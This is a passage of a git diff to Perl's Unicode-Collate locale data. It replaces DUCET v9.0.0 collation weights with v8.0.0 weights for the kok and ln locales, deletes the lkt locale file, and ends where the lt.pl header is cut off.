[.3A69.0024.0002.80B2][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F982 +2F985 ; [.3A65.003F.0002.813E][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F985 +F926 ; [.3A63.0022.0002.81D8][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F926 +F9F6 ; [.3A63.0024.0002.81E8][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F6 +FA5C ; [.3A6C.002A.0002.81ED][.3AEC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5C +2F893 ; [.3A69.002E.0002.8201][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F893 +2F98B ; [.3A69.002E.0002.8201][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F98B +F97C ; [.3A63.002A.0002.826F][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97C +2F990 ; [.3A69.0037.0002.828B][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F990 +2F991 ; [.3A6A.003B.0002.829D][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F991 +2F993 ; [.3A70.0029.0002.82B1][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F993 +2F994 ; [.3A65.0035.0002.82B3][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F994 +2F995 ; [.3A69.0029.0002.82BD][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F995 +F974 ; [.3A69.0023.0002.82E5][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F974 +2F998 ; [.3A69.0023.0002.82E5][.3ADE.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F998 +2F996 ; [.3A5E.003A.0002.82E6][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F996 +2F999 ; [.3A6C.002E.0002.831D][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F999 +2F99C ; [.3A69.004C.0002.8323][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99C +F9FE ; [.3A61.0022.0002.8336][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FE +FAB3 ; [.3A70.0034.0002.8352][.3AE5.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB3 +2F99D ; [.3A64.002A.0002.83BD][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99D +F93E ; [.3A63.0024.0002.83C9][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93E +2F9A1 ; [.3A5E.0023.0002.83CA][.3AE9.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A1 +2F9A2 ; [.3A5E.0025.0002.83CC][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A2 +2F9A3 ; [.3A6C.0029.0002.83DC][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A3 +FAB4 ; [.3A70.002A.0002.83EF][.3AE5.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB4 +F958 ; [.3A63.0025.0002.83F1][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F958 +F918 ; [.3A63.0025.0002.843D][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F918 +F96E ; [.3A69.0023.0002.8449][.3AE2.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96E +FA5F ; [.3A6A.0034.0002.8457][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA5F +2F99F ; [.3A6A.0034.0002.8457][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F99F +F999 ; [.3A63.0029.0002.84EE][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F999 +2F9A8 ; [.3A6F.002A.0002.84F1][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9A8 +F9C2 ; [.3A63.002A.0002.84FC][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C2 +2F9AC ; [.3A69.0062.0002.8564][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9AC +F923 ; [.3A63.0028.0002.85CD][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F923 +F9F0 ; [.3A63.0025.0002.85FA][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F0 +F935 ; [.3A63.002A.0002.8606][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F935 +F91F ; [.3A63.0027.0002.862D][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91F +F910 ; [.3A63.0025.0002.863F][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F910 +2F9B3 ; [.3A70.0023.0002.8650][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B3 +F936 ; [.3A63.002B.0002.865C][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F936 +2F9B4 ; [.3A63.002B.0002.865C][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B4 +2F9B5 ; [.3A70.0025.0002.8667][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B5 +2F9B7 ; [.3A6C.0034.0002.86A9][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9B7 +2F9BC ; [.3A6A.0026.0002.8728][.3AE0.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9BC +F911 ; [.3A63.0026.0002.87BA][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F911 +F927 ; [.3A63.0023.0002.881F][.3ADC.0020.0002][.3B4A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F927 +FA08 ; [.3A70.0025.0002.884C][.3ADD.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA08 +2F9C4 ; [.3A69.0030.0002.8863][.3AEF.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9C4 +F9A0 ; [.3A63.0026.0002.88C2][.3AE2.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A0 +F9E7 ; [.3A63.0034.0002.88CF][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E7 +F9E8 ; [.3A63.0035.0002.88E1][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E8 +F912 ; [.3A63.0027.0002.88F8][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F912 +FA60 ; [.3A5E.0028.0002.8910][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA60 +FAB6 ; [.3A5E.0034.0002.8941][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB6 +F924 ; [.3A63.0029.0002.8964][.3ADC.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F924 +FAB7 ; [.3A65.002D.0002.8986][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB7 +FA0A ; [.3A5E.0028.0002.898B][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA0A +FA61 ; [.3A67.0037.0002.8996][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA61 +FAB8 ; [.3A67.0037.0002.8996][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB8 +2F9CF ; [.3A67.0031.0002.8AA0][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9CF +F96F ; [.3A67.002B.0002.8AAA][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F96F +F9A1 ; [.3A67.002B.0002.8AAA][.3AE0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9A1 +FAB9 ; [.3A6A.0046.0002.8ABF][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAB9 +FABB ; [.3A6C.0026.0002.8ACB][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABB +F97D ; [.3A63.002B.0002.8AD2][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97D +F941 ; [.3A63.0021.0002.8AD6][.3AE4.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F941 +FABE ; [.3A69.0046.0002.8AED][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABE +2F9D0 ; [.3A69.0046.0002.8AED][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D0 +FA22 ; [.3A6A.0030.0002.8AF8][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA22 +FABA ; [.3A6A.0030.0002.8AF8][.3AE1.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABA +F95D ; [.3A60.0021.0002.8AFE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95D +FABD ; [.3A60.0021.0002.8AFE][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABD +FA62 ; [.3A69.0022.0002.8B01][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA62 +FABC ; [.3A69.0022.0002.8B01][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABC +FA63 ; [.3A5E.002D.0002.8B39][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA63 +FABF ; [.3A5E.002D.0002.8B39][.3AEE.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FABF +F9FC ; [.3A67.002C.0002.8B58][.3AF0.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9FC +F95A ; [.3A61.002A.0002.8B80][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F95A +FAC0 ; [.3A65.0023.0002.8B8A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC0 +2F9D1 ; [.3A65.0023.0002.8B8A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D1 +F900 ; [.3A5E.0057.0002.8C48][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F900 +2F9D2 ; [.3A67.003B.0002.8C55][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D2 +2F9D4 ; [.3A5E.002E.0002.8CAB][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D4 +2F9D5 ; [.3A65.0032.0002.8CC1][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D5 +F948 ; [.3A63.0025.0002.8CC2][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F948 +F903 ; [.3A5E.0039.0002.8CC8][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F903 +FA64 ; [.3A65.002D.0002.8CD3][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA64 +FA65 ; [.3A6A.002B.0002.8D08][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA65 +FAC1 ; [.3A6A.002B.0002.8D08][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC1 +2F9D6 ; [.3A5E.0039.0002.8D1B][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D6 +2F9D7 ; [.3A5E.0058.0002.8D77][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9D7 +2F9DA ; [.3A65.0027.0002.8DCB][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DA +F937 ; [.3A63.002C.0002.8DEF][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F937 +F902 ; [.3A6C.002D.0002.8ECA][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F902 +F998 ; [.3A63.002A.0002.8F26][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F998 +F9D7 ; [.3A63.0026.0002.8F2A][.3AED.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D7 +FAC2 ; [.3A67.004F.0002.8F38][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC2 +2F9DF ; [.3A67.004F.0002.8F38][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9DF +FA07 ; [.3A65.002F.0002.8F3B][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA07 +F98D ; [.3A63.0026.0002.8F62][.3AE2.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F98D +F971 ; [.3A6A.003E.0002.8FB0][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F971 +F99A ; [.3A63.002B.0002.9023][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99A +FA25 ; [.3A69.0027.0002.9038][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA25 +FA67 ; [.3A69.0027.0002.9038][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA67 +FAC3 ; [.3A6A.0041.0002.9072][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC3 +F9C3 ; [.3A63.002B.0002.907C][.3AE8.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C3 +F913 ; [.3A63.0028.0002.908F][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F913 +FA2E ; [.3A63.0028.0002.90DE][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2E +FA26 ; [.3A61.0045.0002.90FD][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA26 +F919 ; [.3A63.0026.0002.916A][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F919 +F9B7 ; [.3A63.0024.0002.91B4][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B7 +F9E9 ; [.3A63.0036.0002.91CC][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9E9 +F97E ; [.3A63.002D.0002.91CF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F97E +F90A ; [.3A5E.0021.0002.91D1][.3AF0.0020.0002][.3B49.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F90A +F9B1 ; [.3A63.002D.0002.9234][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B1 +2F9E7 ; [.3A65.002F.0002.9238][.3ADC.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E7 +2F9EA ; [.3A65.0039.0002.927C][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EA +2F9E8 ; [.3A70.003F.0002.92D7][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9E8 +F93F ; [.3A63.0025.0002.9304][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93F +F99B ; [.3A63.002C.0002.934A][.3AE2.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F99B +2F9EE ; [.3A5E.0033.0002.958B][.3ADD.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9EE +F986 ; [.3A63.002E.0002.95AD][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F986 +F9C6 ; [.3A69.0031.0002.962E][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C6 +F951 ; [.3A63.002D.0002.964B][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F951 +FA09 ; [.3A5E.0037.0002.964D][.3ADC.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA09 +F959 ; [.3A63.0026.0002.9675][.3AEE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F959 +F9D3 ; [.3A63.0023.0002.9678][.3AED.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D3 +FAC6 ; [.3A6A.004E.0002.967C][.3AE0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC6 +F9DC ; [.3A63.0021.0002.9686][.3AED.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9DC +F9F1 ; [.3A63.0027.0002.96A3][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F1 +FA2F ; [.3A63.0025.0002.96B7][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2F +F9B8 ; [.3A63.0026.0002.96B8][.3AE3.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B8 +F9EA ; [.3A63.0038.0002.96E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9EA +FA68 ; [.3A60.0023.0002.96E3][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA68 +FAC7 ; [.3A60.0023.0002.96E3][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC7 +F9B2 ; [.3A63.002E.0002.96F6][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B2 +F949 ; [.3A63.0028.0002.96F7][.3AE7.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F949 +2F9F5 ; [.3A69.0031.0002.9723][.3AE9.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9F5 +F938 ; [.3A63.002E.0002.9732][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F938 +F9B3 ; [.3A63.002F.0002.9748][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B3 +FA1C ; [.3A6A.0054.0002.9756][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA1C +FAC8 ; [.3A6A.0054.0002.9756][.3AE0.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAC8 +2F9FA ; [.3A6F.0034.0002.97E0][.3AF0.0020.0002][.3B41.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2F9FA +FA69 ; [.3A70.0026.0002.97FF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA69 +FACA ; [.3A70.0026.0002.97FF][.3ADE.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACA +F9B4 ; [.3A63.0030.0002.9818][.3AE2.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9B4 +FA6A ; [.3A65.002E.0002.983B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA6A +FACC ; [.3A65.002E.0002.983B][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACC +F9D0 ; [.3A63.002E.0002.985E][.3AED.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9D0 +2FA02 ; [.3A5E.005B.0002.98E2][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA02 +FA2A ; [.3A65.0039.0002.98EF][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2A +FA2B ; [.3A67.005A.0002.98FC][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2B +FA2C ; [.3A5E.0030.0002.9928][.3AE5.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2C +F91A ; [.3A63.0027.0002.99F1][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F91A +F987 ; [.3A63.0030.0002.9A6A][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F987 +FACD ; [.3A6A.004C.0002.9B12][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACD +2FA0A ; [.3A6A.004C.0002.9B12][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA0A +F939 ; [.3A63.002F.0002.9B6F][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F939 +F9F2 ; [.3A63.0028.0002.9C57][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F2 +FA2D ; [.3A70.0025.0002.9DB4][.3ADC.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FA2D +F93A ; [.3A63.0030.0002.9DFA][.3AE4.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F93A +F920 ; [.3A63.0028.0002.9E1E][.3ADC.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F920 +F940 ; [.3A63.0026.0002.9E7F][.3AE4.0020.0002][.3B3A.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F940 +F988 ; [.3A63.0031.0002.9E97][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F988 +F9F3 ; [.3A63.0029.0002.9E9F][.3AF0.0020.0002][.3B3D.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9F3 +2FA15 ; [.3A64.0028.0002.9EBB][.3ADC.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA15 +F989 ; [.3A63.0032.0002.9ECE][.3AE2.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F989 +2FA1C ; [.3A65.004A.0002.9F3B][.3AF0.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-2FA1C +F9C4 ; [.3A63.0021.0002.9F8D][.3AE8.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F9C4 +FAD9 ; [.3A63.002E.0002.9F8E][.3AE4.0020.0002][.3B4E.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FAD9 +F907 ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F907 +F908 ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-F908 +FACE ; [.3A5E.0056.0002.9F9C][.3AE9.0020.0002] # CJK COMPATIBILITY IDEOGRAPH-FACE ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/kok.pl b/cpan/Unicode-Collate/Collate/Locale/kok.pl index e771f84bd523..0724a7450203 100644 --- a/cpan/Unicode-Collate/Collate/Locale/kok.pl +++ b/cpan/Unicode-Collate/Collate/Locale/kok.pl @@ -1,13 +1,13 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -0902 ; [.265B.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA -0901 ; [.265B.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU -0903 ; [.265B.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA -0950 ; [.265B.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM -0933 ; [.269E.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA -0934 ; [.269E.0020.0002][.FFF1.0000.0000][.0000.00C2.0002] # DEVANAGARI LETTER LLLA -0915 094D 0937 ; [.269E.0020.0002][.FFF2.0000.0000] # -0939 ; [.269E.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +0902 ; [.25CE.0020.0002][.FFF1.0000.0000] # DEVANAGARI SIGN ANUSVARA +0901 ; [.25CE.0021.0002][.FFF1.0000.0000] # DEVANAGARI SIGN CANDRABINDU +0903 ; [.25CE.0020.0002][.FFF2.0000.0000] # DEVANAGARI SIGN VISARGA +0950 ; [.25CE.0020.0002][.FFF0.0000.0000] # DEVANAGARI OM +0933 ; [.2611.0020.0002][.FFF1.0000.0000] # DEVANAGARI LETTER LLA +0934 ; [.2611.0020.0002][.FFF1.0000.0000][.0000.00BD.0002] # DEVANAGARI LETTER LLLA +0915 094D 0937 ; [.2611.0020.0002][.FFF2.0000.0000] # +0939 ; [.2611.0020.0002][.FFF0.0000.0000] # DEVANAGARI LETTER HA ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/lkt.pl b/cpan/Unicode-Collate/Collate/Locale/lkt.pl deleted file mode 100644 index dbd577acad0e..000000000000 --- a/cpan/Unicode-Collate/Collate/Locale/lkt.pl +++ /dev/null @@ -1,25 +0,0 @@ -+{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -010D ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -0063 030C ; [.1C7B.0020.0002] # LATIN SMALL LETTER C WITH CARON -010C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -0043 030C ; [.1C7B.0020.0008] # LATIN CAPITAL LETTER C WITH CARON -01E7 ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON -0067 030C ; [.1CF5.0020.0002] # LATIN SMALL LETTER G WITH CARON -01E6 ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON -0047 030C ; [.1CF5.0020.0008] # LATIN CAPITAL LETTER G WITH CARON -021F ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON -0068 030C ; [.1D19.0020.0002] # LATIN SMALL LETTER H WITH CARON -021E ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON -0048 030C ; [.1D19.0020.0008] # LATIN CAPITAL LETTER H WITH CARON -0161 ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0073 030C ; [.1E72.0020.0002] # LATIN SMALL LETTER S WITH CARON -0160 ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -0053 030C ; [.1E72.0020.0008] # LATIN CAPITAL LETTER S WITH CARON -017E ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -007A 030C ; [.1F22.0020.0002] # LATIN SMALL LETTER Z WITH CARON -017D ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -005A 030C ; [.1F22.0020.0008] # LATIN CAPITAL LETTER Z WITH CARON -ENTRY -}; diff --git a/cpan/Unicode-Collate/Collate/Locale/ln.pl b/cpan/Unicode-Collate/Collate/Locale/ln.pl index 9c9dd1f45957..425a0b7188ed 100644 --- a/cpan/Unicode-Collate/Collate/Locale/ln.pl +++ b/cpan/Unicode-Collate/Collate/Locale/ln.pl @@ -1,12 +1,12 @@ +{ - locale_version => 1.25, - entry => <<'ENTRY', # for DUCET v9.0.0 -025B ; [.1CAB.0020.0002] # LATIN SMALL LETTER OPEN E -0190 ; [.1CAB.0020.0008] # LATIN CAPITAL LETTER OPEN E -2107 ; [.1CAB.0020.000A] # EULER CONSTANT -1D4B ; [.1CAB.0020.0014] # MODIFIER LETTER SMALL OPEN E -0254 ; [.1DDD.0021.0002] # LATIN SMALL LETTER OPEN O -0186 ; [.1DDD.0021.0008] # LATIN CAPITAL LETTER OPEN O -1D53 ; [.1DDD.0021.0014] # MODIFIER LETTER SMALL OPEN O + locale_version => 1.19, + entry => <<'ENTRY', # for DUCET v8.0.0 +025B ; [.1C26.0020.0002] # LATIN SMALL LETTER OPEN E +0190 ; [.1C26.0020.0008] # LATIN CAPITAL LETTER OPEN E +2107 ; [.1C26.0020.000A] # EULER CONSTANT +1D4B ; [.1C26.0020.0014] # MODIFIER LETTER SMALL OPEN E +0254 ; [.1D58.0021.0002] # LATIN SMALL LETTER OPEN O +0186 ; [.1D58.0021.0008] # LATIN CAPITAL LETTER OPEN O +1D53 ; [.1D58.0021.0014] # MODIFIER LETTER SMALL OPEN O ENTRY }; diff --git a/cpan/Unicode-Collate/Collate/Locale/lt.pl b/cpan/Unicode-Collate/Collate/Locale/lt.pl index 852a691dea48..7b6d3e165c10 100644 --- a/cpan/Unicode-Collate/Collate/Locale/lt.pl +++ 